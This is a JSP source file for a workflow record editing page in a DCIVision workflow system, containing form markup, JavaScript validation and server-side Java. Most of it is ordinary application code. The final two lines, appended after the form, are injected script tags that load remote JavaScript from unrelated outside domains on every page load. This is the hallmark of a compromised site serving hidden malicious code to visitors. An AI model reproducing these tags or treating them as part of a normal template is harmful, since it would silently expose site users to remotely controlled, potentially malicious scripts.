<%
/*
 * @(#)EditWorkflowRecord.jsp
 *
 * Copyright (c) 2003 DCIVision Ltd
 * All rights reserved.
 *
 * This software is the confidential and proprietary information of DCIVision
 * Ltd ("Confidential Information").  You shall not disclose such Confidential
 * Information and shall use it only in accordance with the terms of the license
 * agreement you entered into with DCIVision Ltd.
 */


/**
  EditWorkflowRecord.jsp

  This class is reflecting business logic uses.

    @author           Angus Shiu
    @company          DCIVision Limited
    @creation date    30/07/2003
    @version          $Revision: 1.98.2.26 $
*/
%>

<%@ taglib uri="/tags/struts-html" prefix="html" %>
<%@ taglib uri="/tags/struts-bean" prefix="bean" %>
<%@ taglib uri="/tags/struts-logic" prefix="logic" %>
<%@ taglib uri="/tags/layout" prefix="layout" %>
<%@ taglib uri="/tags/dms" prefix="dms" %>
<%@ page import="java.io.*" %>
<%@ page import="java.sql.*" %>
<%@ page import="java.util.*" %>
<%@ page import="java.lang.reflect.Method" %>
<%@ page import="com.dcivision.framework.*"%>
<%@ page import="com.dcivision.framework.bean.*"%>
<%@ page import="com.dcivision.workflow.*"%>
<%@ page import="com.dcivision.workflow.dao.*"%>
<%@ page import="com.dcivision.workflow.bean.*"%>
<%@ page import="com.dcivision.workflow.core.*"%>
<%@ page import="com.dcivision.workflow.web.*"%>
<%@ page import="com.dcivision.dms.core.RootRetrievalManager"%>
<jsp:useBean id="applicationContainer" scope="application" class="com.dcivision.framework.ApplicationContainer"/>
<jsp:useBean id="sessionContainer" scope="session" class="com.dcivision.framework.SessionContainer"/>
<jsp:useBean id="maintWorkflowRecordForm" scope="request" class="com.dcivision.workflow.web.MaintWorkflowRecordForm"/>
<script type='text/javascript' src='<%=request.getContextPath()%>/dwr/interface/WorkflowAjaxProcessor.js'></script>
<script type='text/javascript' src='<%=request.getContextPath()%>/dwr/engine.js'></script>
<script type='text/javascript' src='<%=request.getContextPath()%>/dwr/util.js'> </script>
<%
String allowInterrupt = maintWorkflowRecordForm.getAllowInterrupt();
%>

<script language="Javascript">
<!--
function changeCategory(categoryID){
   var workflowRecordID = null;
   var workflowCategoryID=null;
   <%if(!Utility.isEmpty(maintWorkflowRecordForm.getID())){%>
       workflowRecordID='<%=maintWorkflowRecordForm.getID()%>';
       workflowCategoryID='<%=maintWorkflowRecordForm.getWorkflowCategoryID()%>';
   <%}%>

   WorkflowAjaxProcessor.checkIfCanChangeTheCategoryByWorkflowRecordIDAndCategoryID(workflowRecordID,
     categoryID,
     function(data){
        if(data=="Y"){
      //can change
          getCategoryDetail();
    }else{
      alert("<bean:message key='errors.workflow.not_change_category'/>");
          document.maintWorkflowRecordForm.workflowCategoryID.value=workflowCategoryID;
    }
        });

}
function getCategoryDetail() {
  var allowInterrupt = "<%=allowInterrupt%>";
  if(document.maintWorkflowRecordForm.workflowGroupID.value==''){
    //workflowGroupID "" value is no meaning and set to defaut workflowGroupID value
    document.maintWorkflowRecordForm.workflowGroupID.value = '<bean:write name='maintWorkflowRecordForm' property='workflowGroupID'/>';
  }
  document.maintWorkflowRecordForm.opMode.value="<%=GlobalConstant.NAV_MODE_REFRESH%>";
  document.maintWorkflowRecordForm.submit();
  return false;
}
function CusOpSave(frm) {
	var errorMessage = "<bean:message key='errors.contain_unrightful_char'/>";
	var frm = document.maintWorkflowRecordForm;
	var invalidChars = "<%=TextUtility.escapeJSString(SystemParameterFactory.getSystemParameter(SystemParameterConstant.INVALID_CHARACTER))%>";
	
	if (!validateSpecialChar(frm.workflowCode, invalidChars, "<bean:message key='workflow.label.workflow_code'/> " + errorMessage)){
	  return (false);
	}
	
	if (!validateSpecialChar(frm.workflowVersion, invalidChars, "<bean:message key='workflow.label.workflow_version'/> " + errorMessage)){
	  return (false);
	}
	
  if (!frm) {
    for (var i = 0; i < document.forms.length; i++) {
      if (document.forms[i].name != "") {
        frm = document.forms[i];
      }
    }
  }
  // check Bind With
  //if(frm.categoryObjectID && frm.categoryObjectID.length){//delete by tc
var categoryObjects = document.getElementsByName("categoryObjectID");
//bill add start
var optionDivObject=document.getElementById("optionDiv");
if(optionDivObject!=null && categoryObjects.length==0){
  alert("<bean:message key='workflow.message.bind_with_is_null'/>");
  return false;
}
//bill add end
if(frm.categoryObjectID){
    var hasSelected = false;
    for (var i=0; i<categoryObjects.length; i++){
      if(categoryObjects[i].checked){
        hasSelected = true;
        break;
      }
    }
    if(!hasSelected){
      alert("<bean:message key='workflow.message.bind_with_is_required'/>");
      return false;
    }
  }


  if (typeof ValidateForm == "function" && !ValidateForm(frm)) {
    //roll back the status
    frm.elements['status'].value="<bean:write name='maintWorkflowRecordForm' property='status'/>"
    return(false);
  }

  if (compareDate(frm.startDate, frm.endDate, true) > 0) {
    alert("<bean:message key='common.message.from_later_than_to'/>");
    return false;
  }

  //if (frm.oldStartDate.value!=frm.startDate.value){
    if(frm.status.value!="R"){
    if (compareDate(frm.today,frm.startDate, true) > 0) {
      alert("<bean:message key='common.message.from_later_than_current_time'/>");
      return false;
    }
    }
  //}

  if (compareDate(frm.today, frm.endDate, true) > 0) {
    alert("<bean:message key='common.message.from_end_date_than_current_time'/>");
    return false;
  }

  if (frm.allowInterrupt) {
    if (frm.allowInterrupt[1].checked) {
      var submitterIsEmpty = (frm.interruptSubmitter.value == "" || frm.interruptSubmitter.value == "null") && (frm.oldInterruptSubmitter.value == "" || frm.oldInterruptSubmitter.value == "null");
      if (submitterIsEmpty) {
        alert("<bean:message key='workflow.message.interrupt_submitter_is_required'/>");
        return false;
      }
      if (frm.interruptWorkflowRecordID.value == "" ) {
        alert("<bean:message key='workflow.message.interrupt_record_is_required'/>");
        return false;
      }
    }
  }

  if (frm.elements['ID'].value == "") {
    return(OpInsert(frm));
  } else {
    if (frm.elements['navMode'].value == NAV_MODE_CHANGE) {
      return(OpCopy(frm));
    } else {
      return(OpUpdate(frm));
    }
  }
}

function CusOpRelease(){
  for (var i = 0; i < document.forms.length; i++) {
    if (document.forms[i].name != "") {
      frm = document.forms[i];
    }
  }
  frm.elements['status'].value = "<%=GlobalConstant.RECORD_RELEASED%>";
  return CusOpSave();
}

function hideBlock(b) {
  FindObj(b).style.display = "none";
}

function showBlock(b) {
  FindObj(b).style.display = "block";
}

function enableEditInterruptUser(ele) {
  ele.form.interruptWorkflowRecordID.disabled=true;
  hideBlock('editInterruptUser');
}

function disableEditInterruptUser(ele) {
  ele.form.interruptWorkflowRecordID.disabled=false;
  showBlock('editInterruptUser');
}

function editInterrptWorkflowSubmitter() {
  var height = 520;
  var width = 550;
  var windowName = "DCIVisionEditInterruptWorkflowRecordOwner";

  for (var i = 0; i < document.forms.length; i++) {
    if (document.forms[i].name != "") {
      frm = document.forms[i];
      break;
    }
  }
  OpenCenteredPopup("<%=request.getContextPath()%>/workflow/MaintInterruptWorkflowRecordUser.do?navMode=<%=maintWorkflowRecordForm.getNavMode()%>&SHOW_HEADER_FOOTER=N&wfRecordID="+frm.ID.value+"&interruptSubmitter="+frm.interruptSubmitter.value + "&ID=<%=maintWorkflowRecordForm.getID()%>", windowName, width, height, "scrollbars=no");
  return(false);
}

function PutInterruptWorkflowSubmitter(sValue) {
  var frm;
  var strValue = unescape(sValue);
  for (var i = 0; i < document.forms.length; i++) {
    if (document.forms[i].name != "") {
      frm = document.forms[i];
      break;
    }
  }
  frm.interruptSubmitter.value = strValue;
  frm.oldInterruptSubmitter.value = strValue;
  return false;
}
//sliever.hu.add
function OpenDel(){
 var workflowGroupID;
 workflowGroupID=<%=maintWorkflowRecordForm.getWorkflowGroupID()%>
 if(workflowGroupID!=null && workflowGroupID !=""){
  this.document.maintWorkflowRecordForm.workflowGroupID.value=workflowGroupID;
  return OpDelete();
 }
}

//tc add
function opFormsingleSelect(sFormObject){

 var formObjects;
 if(sFormObject.checked){//IF CHECKED then clear the other sFormObjects which are selected

  formObjects = document.getElementsByName(sFormObject.name);
  for(var i=0; i< formObjects.length; i++){
    formObjects[i].checked=false;
  }
    sFormObject.checked=true;
 }
}
-->
</script>
<html:form action="workflow/MaintWorkflowRecord" styleClass="form-style-2">
<html:javascript formName="maintWorkflowRecordForm" method="ValidateForm" dynamicJavascript="true" staticJavascript="false"/>

<%/****************************************************************************
   * Edit Selection Attributes Configuration Begin
   ****************************************************************************/
   String returnURL = "ListWorkflowRecord.do?workflowGroupID="+maintWorkflowRecordForm.getWorkflowGroupID()+"&opMode="+GlobalConstant.OP_MODE_LIST_RETAIN;
   String ACTION_MODE = (String)request.getAttribute(GlobalConstant.ACTION_MODE);
   List interruptWorkflowRecordList = (List)request.getAttribute("InterruptWorkflowRecordList");
   String accessibleGroupList = (String)request.getAttribute(MaintWorkflowRecordAction.VAR_ACCESSIBLE_GROUP_LIST);
   WorkflowGroup currentGroup = (WorkflowGroup)request.getAttribute("workflowGroup");
  /****************************************************************************
   * Edit Selection Attributes Configuration End
   ****************************************************************************/

  boolean bIsCopy = false, bIsPending = false, bTextOnly = false;
  String navMode = request.getParameter("navMode");
  if (GlobalConstant.NAV_MODE_CHANGE.equals(navMode)) {
    bIsCopy = true;
    maintWorkflowRecordForm.setID(request.getParameter("ID"));
  } else if (GlobalConstant.RECORD_PENDING.equals(maintWorkflowRecordForm.getStatus())) {
    bIsPending = true;
  } else {
    bTextOnly = true;
  }

  request.setAttribute("isSetup", "Y");
  if (bIsCopy) {
    request.setAttribute("isCopy", "Y");
  }
  if (bIsPending) {
    request.setAttribute("isPending", "Y");
  }
  String[][] subordinateArray = new String[interruptWorkflowRecordList.size()+1][2];
  subordinateArray[0][0] = MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(), "common.label.none");
  subordinateArray[0][1] = "";
  for(int i =0; interruptWorkflowRecordList!=null && i < interruptWorkflowRecordList.size(); i++){
    String[] workflowRecord = (String[])interruptWorkflowRecordList.get(i);
    subordinateArray[i+1][1] = workflowRecord[0];
    subordinateArray[i+1][0] = workflowRecord[1];
  }
  String rootID = "";
  String parentID = "";
  if(!Utility.isEmpty(maintWorkflowRecordForm.getRootID()) && !Integer.valueOf("0").equals(maintWorkflowRecordForm.getRootID()) ){
    rootID = maintWorkflowRecordForm.getRootID().toString();
  }

  if(!Utility.isEmpty(maintWorkflowRecordForm.getParentID()) && !Integer.valueOf("0").equals(maintWorkflowRecordForm.getParentID()) ){
    parentID = maintWorkflowRecordForm.getParentID().toString();
  }

  PermissionManager permissionManager = sessionContainer.getPermissionManager();
  Integer DMS_PERSONAL_FOLDER = new Integer("6001");
  Integer DMS_PUBLIC_FOLDER = new Integer("6002");
%>

<html:hidden property='opMode'/>
<html:hidden property='navMode'/>
<html:hidden property='ID'/>
<html:hidden property='recordStatus'/>
<html:hidden property='updateCount'/>
<html:hidden property='creatorID'/>
<html:hidden property='createDate'/>
<html:hidden property='updaterID'/>
<html:hidden property='updateDate'/>
<html:hidden property='interruptSubmitter'/>
<input type="hidden" name="oldInterruptSubmitter" value='<%=(String)request.getAttribute("oldInterruptSubmitter")%>'>
<html:hidden property='status'/>
<input type="hidden" name="today" value="<%=Utility.getCurrentTimestamp()%>">


<layout:tabContainer id="tab1">
<layout:returnButton className="btn-standard" returnURL="<%=returnURL%>"/>
   <layout:tabBar styleClass="tabBar_no_button">
        <layout:tabPane id="basicTab" title="common.label.tab_basic" selected="true" visibility="false"/>
    </layout:tabBar>
  <div id="basicTab" class="tabContent">
  <table width="100%">
    <layout:sectionHeader name="workflow.label.workflow_information" colspan="2"/>
    <tr>
      <td class="formLabelSmallMan"><bean:message key='workflow.label.workflow_code'/>:&nbsp;</td>
      <td class="formFieldSmall"><html:text property='workflowCode' textOnly='<%=bTextOnly%>' size='20' maxlength='20' styleClass="form-style-2-textfield"/></td>
    </tr>
    <tr>  
      <td class="formLabelSmallMan"><bean:message key='workflow.label.workflow_version'/>:&nbsp;</td>
      <td class="formFieldSmall" width="200"><html:text property='workflowVersion' textOnly='<%=bTextOnly%>' size='5' maxlength='10' styleClass="form-style-2-short-textfield"/></td>
    </tr>
    <tr>
      <td class="formLabelSmallMan"><bean:message key='workflow.label.category'/>:&nbsp;</td>
      <td class="formFieldSmall"><html:select textOnly='<%=bTextOnly%>' onchange="return changeCategory(this.options[this.selectedIndex].value);" property='workflowCategoryID' styleClass="form-style-2-auto-pulldown">
        <html:options dbListName='<%=OptionsListConstant.DBLIST_WORKFLOW_CATEGORY%>'/>
      </html:select>
      </td>
    </tr>
<%
  List categoryObjectList = (List) request.getAttribute("categoryObjectList");
  if (categoryObjectList!=null) {
    String[] methodName = null;
    String className = "";
    String[] rule = maintWorkflowRecordForm.getRule();
    String[] categoryObjectID = maintWorkflowRecordForm.getCategoryObjectID();
    if (SystemWorkflowConstant.DMS_CREATE_PUBLIC_DOCUMENT.equals(maintWorkflowRecordForm.getWorkflowCategoryID())
     || SystemWorkflowConstant.DMS_CREATE_SCANNED_DOCUMENT.equals(maintWorkflowRecordForm.getWorkflowCategoryID())
     || SystemWorkflowConstant.DMS_CREATE_PAPER_DOCUMENT.equals(maintWorkflowRecordForm.getWorkflowCategoryID()) ) {
      methodName = new String[]{"getRootName"};
      className = "com.dcivision.dms.bean.DmsRoot";
    } else if (SystemWorkflowConstant.DMS_CREATE_PUBLIC_UDF_DOCUMENT.equals(maintWorkflowRecordForm.getWorkflowCategoryID())
            || SystemWorkflowConstant.DMS_CREATE_SCANNED_UDF_DOCUMENT.equals(maintWorkflowRecordForm.getWorkflowCategoryID())
            || SystemWorkflowConstant.DMS_CREATE_PAPER_UDF_DOCUMENT.equals(maintWorkflowRecordForm.getWorkflowCategoryID())) {
      methodName = new String[]{"getUserDefinedType"};
      className = "com.dcivision.framework.bean.SysUserDefinedIndex";
    } else if (SystemWorkflowConstant.FMB_SUBMISSION_BY_FORM.equals(maintWorkflowRecordForm.getWorkflowCategoryID())) {
      methodName = new String[]{"getFormCode","(",
                                                      "getFormVersion",") - ",
                                                      "getTitle"};
      className = "com.dcivision.form.bean.FormRecord";
    } else if (SystemWorkflowConstant.FMB_SUBMISSION_BY_GROUP.equals(maintWorkflowRecordForm.getWorkflowCategoryID())) {
      methodName = new String[]{"getGroupName"};
      className = "com.dcivision.form.bean.FormGroup";
    }
%>
    <tr>
      <td class="formLabelSmallMan"><bean:message key='workflow.label.bind_with'/>:&nbsp;</td>
      <td class="formFieldSmall">
      <%
        String lyrBgColor = "#FFFFFF";
        if (GlobalConstant.NAV_MODE_VIEW.equals(ACTION_MODE)) {
          lyrBgColor = "#EEEEEE";
        }
      %>
        <div id="optionDiv" class="form-style-2-optionsDiv" style="width:500px;height:90px;background-color:<%=lyrBgColor%>;layer-background-color:<%=lyrBgColor%>;">
          <table width="100%" cellpadding="1" cellspacing="1" border="0">
        <%for(int i=0; i<categoryObjectList.size(); i++) {
            Object tmpObj = categoryObjectList.get(i);
            Integer objID = null;
            String objText = "";
            Method getIDMethod = Class.forName(className).getMethod("getID", null);
            objID = (Integer) getIDMethod.invoke(tmpObj, null);
            for(int j=0;methodName!=null&&j<methodName.length;j+=2){
              Method getTextMethod = Class.forName(className).getMethod(methodName[j], null);
              objText += (String) getTextMethod.invoke(tmpObj, null);
              if(j<methodName.length-1){
                objText += methodName[j+1];
              }
            }
        %>
            <tr>
            <%if (SystemWorkflowConstant.FMB_SUBMISSION_BY_FORM.equals(maintWorkflowRecordForm.getWorkflowCategoryID())) {
             com.dcivision.form.bean.FormRecord currentRecord = (com.dcivision.form.bean.FormRecord)tmpObj;
            %>
             <td nowrap><html:checkbox property='categoryObjectID' value='<%=objID.toString()%>' textOnly='<%=bTextOnly%>' onclick="javascript:opFormsingleSelect(this);"><%=objText%></html:checkbox></td>
            <%} else {%>
              <td nowrap><html:checkbox property='categoryObjectID' value='<%=objID.toString()%>' textOnly='<%=bTextOnly%>'><%=objText%></html:checkbox></td>
            <%}%>
              <td nowrap></td>
            </tr>
        <%}%>
          </table>
        </div>
      </td>
    </tr>
<%
  }
%>
    <tr>
      <td class="formLabelSmallMan"><bean:message key='workflow.label.workflow_group'/>:&nbsp;</td>
      <td class="formFieldSmall">
      <html:select textOnly='<%=bTextOnly%>' property='workflowGroupID' styleClass="form-style-2-auto-pulldown">
        <html:options dbListName='<%=OptionsListConstant.DBLIST_WORKFLOW_GROUP%>' listArg1='<%=accessibleGroupList%>'/>
      </html:select>            
      </td>
    </tr>
    <tr>
      <td class="formLabelSmallMan"><bean:message key='workflow.label.effective_period'/>:&nbsp;</td>
      <td class="formFieldSmall">
    <html:datepicker  property='startDate' defaultToday='true'/>
    <input type="hidden" name="oldStartDate" value="<%=maintWorkflowRecordForm.getStartDate()%>">
      <bean:message key='common.label.period_to'/>
      <html:datepicker  property='endDate'/>
      </td>
    </tr>
    <%if (!SystemWorkflowConstant.SUB_WORKFLOW_INTERRUPT.equals(maintWorkflowRecordForm.getWorkflowCategoryID()) ) {%>
    <tr>
      <td class="formLabelSmall"><bean:message key='workflow.label.workflow_record_enable_interrupt'/>:&nbsp;</td>
      <td class="formFieldSmall" nowrap="true">
	    <div style="float:left">
        <html:radio  property="allowInterrupt" onclick="return getCategoryDetail();" value="<%=GlobalConstant.FALSE%>"><bean:message key="common.label.no"/></html:radio>&nbsp;
        <html:radio  property="allowInterrupt" onclick="return getCategoryDetail();" value="<%=GlobalConstant.TRUE%>"><bean:message key="common.label.yes"/></html:radio>&nbsp;
		</div>
		<%if(GlobalConstant.TRUE.equals(maintWorkflowRecordForm.getAllowInterrupt())){%>
		<div id="editInterruptUser" style="float:left;">
        <html:standardButton onClick="return editInterrptWorkflowSubmitter();" label="workflow.label.select_user_to_interrupt"/>
        </div>
        <%}%>
      </td>
      </tr>
      <%if(GlobalConstant.TRUE.equals(maintWorkflowRecordForm.getAllowInterrupt())){%>
      <tr>
      <td class="formLabelSmall" nowrap="true">&nbsp;<bean:message key='workflow.label.workflow_interrupt_approval'/>&nbsp;</td>
      <td class="formFieldSmall">
        <div style="float:left">
        <html:select  property='interruptWorkflowRecordID' disabled='<%=GlobalConstant.FALSE.equals(maintWorkflowRecordForm.getAllowInterrupt())%>' styleClass="form-style-2-auto-pulldown">
          <html:options stringArray='<%=subordinateArray%>' convertLabel='false' hasSelect='false'/>
        </html:select>
        </div>
      </td>
      </tr>
      <%}%>
    <%}%>
<%if (bIsCopy) { %>
    <tr>
      <td class="formLabelSmallMan"><bean:message key='workflow.label.copy_all_steps'/>:&nbsp;</td>
      <td class="formFieldSmall">
        <html:radio property='copyAllSteps' value='<%=GlobalConstant.FALSE%>'><bean:message key='common.label.no'/></html:radio>&nbsp;
        <html:radio property='copyAllSteps' value='<%=GlobalConstant.TRUE%>'><bean:message key='common.label.yes'/></html:radio>&nbsp;
      </td>
    </tr>
<%}%>
    <tr>
      <td class="formLabelSmall"><bean:message key='workflow.label.description'/>:&nbsp;</td>
      <td class="formFieldSmall">
      <html:dynamicTextarea textOnly='<%=bTextOnly%>' property='description' cols='50' rows='2' textlimit='255' styleClass="form-style-2-big-textarea"/>
      </td>
    </tr>
    <%
       SysFunction sysFunction = applicationContainer.getSysFunctionByFunctionCode(SystemFunctionConstant.DMS);
       if ( sysFunction!=null && GlobalConstant.STATUS_ACTIVE.equals(sysFunction.getStatus()) ){
        String permissionStr = "";
        List publicRootList = null;
        Connection conn = null;
        try {
          conn = (Connection)request.getAttribute(GlobalConstant.DB_KEY);
          permissionStr = permissionManager.getPermission(conn, GlobalConstant.OBJECT_TYPE_FUNCTION,DMS_PERSONAL_FOLDER);
          permissionStr += permissionManager.getPermission(conn, GlobalConstant.OBJECT_TYPE_FUNCTION,DMS_PUBLIC_FOLDER);
          RootRetrievalManager rootRetrievalManager = new RootRetrievalManager(sessionContainer,conn);
          publicRootList = rootRetrievalManager.getAccessiblePublicRootsList();
        } catch(Exception ex) {
          conn = null;
        }
        if(!Utility.isEmpty(permissionStr) && permissionStr.indexOf("R") > -1&&!Utility.isEmpty(publicRootList)){
    %>
    <tr>
      <td class="formLabelSmall"><bean:message key='form.label.upload_location'/>:&nbsp;</td>
      <td class="formFieldSmall">
        <dms:folderPicker allowPublicOnly="true" property="locationPath" hiddenRootID="rootID" hiddenParentID="parentID" hiddenRootIDValue="<%=rootID%>" hiddenParentIDValue="<%=parentID%>" allowReset = "true" size="50" allowCompoundDoc="false" allowPaperDoc="false" styleClass="form-style-2-auto-textfield" />
      </td>
    </tr>
    <%} else {%>
       <tr>
      <td class="formLabelSmall"><bean:message key='form.label.upload_location'/>:&nbsp;</td>
      <td class="formFieldSmall">
        <dms:folderPicker property="locationPath" hiddenRootID="rootID" hiddenParentID="parentID" hiddenRootIDValue="<%=rootID%>" hiddenParentIDValue="<%=parentID%>" allowReset = "true" size="50" allowCompoundDoc="false" allowPaperDoc="false"  disabled = "true"/>
      </td>
    </tr>
    <%  }
    }
    %>
    <tr>
      <td class="formLabelSmall"><bean:message key='workflow.label.status'/>:&nbsp;</td>
      <td class="formFieldSmall"><bean:message key='<%="common.options.status_"+maintWorkflowRecordForm.getStatus()%>'/>
      </td>
    </tr>

<%if (maintWorkflowRecordForm.getID()!=null && (GlobalConstant.NAV_MODE_EDIT.equals(ACTION_MODE) || GlobalConstant.NAV_MODE_CHANGE.equals(ACTION_MODE) || GlobalConstant.NAV_MODE_VIEW.equals(ACTION_MODE) )) {%>
  <tr>
    <td colspan="2" align="center"><html:img src='LayoutSpacer.gif' height='12' /></td>
  </tr>
  <layout:sectionHeader name="workflow.label.workflow_routine" mandatory="false" colspan="4"/>
  <tr>
    <td colspan="2" align="center"><html:img src='LayoutSpacer.gif' height='8' /></td>
  </tr>
  <tr>
    <td colspan="2" align="center" style="padding-right:5px;">
    <!-- Workflow Tree Begin -->
    <%if (!Utility.isEmpty(maintWorkflowRecordForm.getID())) {
        String tmp_workflowRecordID = maintWorkflowRecordForm.getID();
        String tmp_workflowGroupID = maintWorkflowRecordForm.getWorkflowGroupID();
        String tmp_workflowCategoryID = maintWorkflowRecordForm.getWorkflowCategoryID();
    Connection dbConn = (Connection)request.getAttribute(GlobalConstant.DB_KEY);
    WorkflowRecordDAObject recordDAO = new WorkflowRecordDAObject(sessionContainer,dbConn);
    WorkflowRecord tmpWorkflowRecord = null;
    try{
       tmpWorkflowRecord = (WorkflowRecord)recordDAO.getObjectByID(Integer.valueOf(tmp_workflowRecordID));
    }catch(Exception ex){
      //when delete record , will throw exception
    }
    if(Utility.isEmpty(tmpWorkflowRecord)||tmpWorkflowRecord.getWorkflowCategoryID().toString().equals(tmp_workflowCategoryID)){
            if(maintWorkflowRecordForm.getNavMode().equals("E")&&maintWorkflowRecordForm.getStatus().equals("P")){
        %>
         <div align='left'><p><b style='color:#0000FF'><bean:message key='workflow.message.save_record_before_edit_steps'/></b></p></div>
         <%
      }
    %>
         <jsp:include page="ShowWorkflowTree.jsp">
            <jsp:param name="workflowRecordID" value="<%=tmp_workflowRecordID%>"/>
            <jsp:param name="workflowGroupID" value="<%=tmp_workflowGroupID%>"/>
            <jsp:param name="workflowCategoryID" value="<%=tmp_workflowCategoryID%>"/>
            <jsp:param name="actionMode" value="<%=ACTION_MODE%>"/>
            <jsp:param name="checkPermission" value="N"/>
          </jsp:include>
    <%  }else{%>
      <b style="color:#0000FF"><bean:message key='workflow.message.save_record'/></b>

      <%if(!tmpWorkflowRecord.getWorkflowCategoryID().toString().equals(SystemWorkflowConstant.FMB_SUBMISSION_BY_FORM)
      &&SystemWorkflowConstant.FMB_SUBMISSION_BY_FORM.equals(tmp_workflowCategoryID)){%>
      <br>
      <br>
      <b style="color:#0000FF"><bean:message key='workflow.message.change_category_to_form'/></b>
      <%}%>
  <%  }
    }
  %>
    <!-- Workflow Tree End   -->
    </td>
  </tr>
  <tr>
    <td colspan="2" align="center"><html:img src='LayoutSpacer.gif' height='8' /></td>
  </tr>
  <tr>
    <td class="sectionLine" colspan="2"><html:img src='LayoutSpacer.gif'  width='1' height='1'/></td>
  </tr>
<%}%>

  <tr>
    <td colspan="2" style="padding-left:5px;"><layout:auditTrail/></td>
  </tr>
  <tr>
    <td colspan="2" align="center"><html:img src="LayoutSpacer.gif"  width="1" height="10"/></td>
  </tr>
  </table>
  </div>
  </layout:tabContainer>
    <div id="bottomButtonArea">
    <div id="buttonSection">
    <!-- The Buttons for Actions Handling -->
    <%if (!GlobalConstant.NAV_MODE_VIEW.equals(ACTION_MODE)) {%>
      <%if (bIsPending) { %>
        <html:permissionButton label="common.label.save" right='I' objectType="W" objectID="<%=currentGroup.getID()%>" onClick="return CusOpSave()"/>
        <%if (!Utility.isEmpty(maintWorkflowRecordForm.getID())) {%>
          <html:permissionButton label="common.label.release" right='E' objectType="W" objectID="<%=currentGroup.getID()%>" onClick="return CusOpRelease()"/>
        <%} %>
      <%} %>
      <%if (bIsCopy) { %>
        <html:permissionButton label="common.label.copy" right='C' objectType="W" objectID="<%=currentGroup.getID()%>" onClick="return(CusOpSave())"/>
      <%}%>
    <%} else if (!GlobalConstant.OP_MODE_DELETE.equals(maintWorkflowRecordForm.getOpMode())) {%>
      <%if (bIsPending) { %>
        <html:permissionButton label="common.label.edit" right='E' objectType="W" objectID="<%=currentGroup.getID()%>" link="MaintWorkflowRecord.do?navMode=E&workflowGroupID=${maintWorkflowRecordForm.workflowGroupID}&ID=${maintWorkflowRecordForm.ID}"/>
      <%}%>
    <%}%>
    <logic:equal name='<%=GlobalConstant.ACTION_MODE%>' value='<%=GlobalConstant.NAV_MODE_EDIT%>'>
      <%if (!bIsPending) { %>
        <html:permissionButton label="common.label.save" right='E' objectType="W" objectID="<%=currentGroup.getID()%>" onClick="return CusOpSave()"/>
      <%}%>
      <%if (!WorkflowRecord.WORKFLOW_RECORD_RELEASE.equals(maintWorkflowRecordForm.getStatus())) {%>
        <html:permissionButton label="common.label.delete" right='D' objectType="W" objectID="<%=currentGroup.getID()%>" onClick="return(OpenDel())"/>
      <%}%>
    </logic:equal>
    </div>
  </div>

</html:form>


<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>